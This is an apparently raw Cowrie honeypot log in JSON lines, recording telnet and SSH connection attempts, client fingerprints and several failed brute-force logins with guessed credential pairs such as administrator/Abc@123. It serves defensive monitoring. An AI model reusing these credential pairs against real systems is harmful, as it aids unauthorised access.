{"eventid":"cowrie.session.closed","duration":30.55854868888855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:29.186230Z","src_ip":"149.210.189.202","session":"8416eb588ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99283218383789,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:29.913969Z","src_ip":"124.217.230.40","session":"0402412b82e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134631872177124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:30.457052Z","src_ip":"124.217.230.40","session":"f19b54cad606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028883934020996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:30.748964Z","src_ip":"124.217.230.40","session":"325595e81a30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90325617790222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:34.405458Z","src_ip":"124.217.230.40","session":"b421c2ad2e72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736357927322388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:36.966352Z","src_ip":"23.82.125.57","session":"4954804a6acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15995168685913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:37.368056Z","src_ip":"124.217.230.40","session":"e402e7b6f10a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":43376,"dst_ip":"10.17.0.5","dst_port":23,"session":"229c7727fc78","protocol":"telnet","message":"New connection: 124.217.230.40:43376 (10.17.0.5:23) [session: 229c7727fc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:38.982475Z"}
{"eventid":"cowrie.session.closed","duration":31.36279034614563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:38.987567Z","src_ip":"124.217.230.40","session":"19fc7406d97a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39088535308838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:39.297615Z","src_ip":"124.217.230.40","session":"e6393471a721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":27839,"dst_ip":"159.203.135.109","dst_port":22,"session":"96adfc404462","protocol":"ssh","message":"New connection: 125.166.19.90:27839 (159.203.135.109:22) [session: 96adfc404462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:40.107646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:40.111582Z","src_ip":"125.166.19.90","session":"96adfc404462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:40.381624Z","src_ip":"125.166.19.90","session":"96adfc404462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"1234","message":"login attempt [administrador/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:41.494566Z","src_ip":"125.166.19.90","session":"96adfc404462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:42.767090Z","src_ip":"125.166.19.90","session":"96adfc404462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d81805bb0d","protocol":"telnet","message":"New connection: 124.217.230.40:49926 (10.17.0.5:23) [session: 27d81805bb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:44.927022Z"}
{"eventid":"cowrie.session.closed","duration":30.642703771591187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:51.463296Z","src_ip":"124.217.230.40","session":"cc496b68d09c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205574989318848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:57.483308Z","src_ip":"124.217.230.40","session":"da3d0acffc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47468,"dst_ip":"159.203.135.109","dst_port":22,"session":"0163af809e7a","protocol":"ssh","message":"New connection: 159.203.92.129:47468 (159.203.135.109:22) [session: 0163af809e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:08.941436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:08.945848Z","src_ip":"159.203.92.129","session":"0163af809e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:08.950434Z","src_ip":"159.203.92.129","session":"0163af809e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Abc@123","message":"login attempt [administrator/Abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:08.964942Z","src_ip":"159.203.92.129","session":"0163af809e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:09.972136Z","src_ip":"159.203.92.129","session":"0163af809e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":47286,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5f87722f3a","protocol":"telnet","message":"New connection: 124.217.230.40:47286 (10.17.0.5:23) [session: 8e5f87722f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:09.984335Z"}
{"eventid":"cowrie.session.closed","duration":31.461638927459717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:10.443942Z","src_ip":"124.217.230.40","session":"229c7727fc78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55895161628723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:16.485844Z","src_ip":"124.217.230.40","session":"27d81805bb0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":56514,"dst_ip":"10.17.0.5","dst_port":23,"session":"d508b836196c","protocol":"telnet","message":"New connection: 124.217.230.40:56514 (10.17.0.5:23) [session: d508b836196c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:18.906882Z"}
{"eventid":"cowrie.session.closed","duration":31.323426246643066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:41.307439Z","src_ip":"124.217.230.40","session":"8e5f87722f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521564245224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:50.428290Z","src_ip":"124.217.230.40","session":"d508b836196c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43022,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2dcfe842e15","protocol":"ssh","message":"New connection: 159.203.92.129:43022 (159.203.135.109:22) [session: c2dcfe842e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:54.105457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:54.110694Z","src_ip":"159.203.92.129","session":"c2dcfe842e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:54.117606Z","src_ip":"159.203.92.129","session":"c2dcfe842e15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Ad123456","message":"login attempt [administrator/Ad123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:54.129116Z","src_ip":"159.203.92.129","session":"c2dcfe842e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:08:55.135556Z","src_ip":"159.203.92.129","session":"c2dcfe842e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37770,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b6798094477","protocol":"ssh","message":"New connection: 159.203.92.129:37770 (159.203.135.109:22) [session: 5b6798094477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:09:40.472607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:09:40.476721Z","src_ip":"159.203.92.129","session":"5b6798094477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:09:40.481948Z","src_ip":"159.203.92.129","session":"5b6798094477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Admin@9000","message":"login attempt [administrator/Admin@9000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:09:40.491894Z","src_ip":"159.203.92.129","session":"5b6798094477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:09:41.498033Z","src_ip":"159.203.92.129","session":"5b6798094477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":10719,"dst_ip":"159.203.135.109","dst_port":22,"session":"93597bd8d9b0","protocol":"ssh","message":"New connection: 125.166.19.90:10719 (159.203.135.109:22) [session: 93597bd8d9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:12.314293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:12.322616Z","src_ip":"125.166.19.90","session":"93597bd8d9b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:12.597836Z","src_ip":"125.166.19.90","session":"93597bd8d9b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test123","password":"123456","message":"login attempt [test123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:13.730474Z","src_ip":"125.166.19.90","session":"93597bd8d9b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:15.012938Z","src_ip":"125.166.19.90","session":"93597bd8d9b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58770,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfd46e09767c","protocol":"ssh","message":"New connection: 159.203.92.129:58770 (159.203.135.109:22) [session: dfd46e09767c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:28.858665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:28.863392Z","src_ip":"159.203.92.129","session":"dfd46e09767c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:28.870423Z","src_ip":"159.203.92.129","session":"dfd46e09767c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Zaq12wsx!","message":"login attempt [administrator/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:28.956549Z","src_ip":"159.203.92.129","session":"dfd46e09767c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:10:30.048815Z","src_ip":"159.203.92.129","session":"dfd46e09767c","protocol":"ssh"}
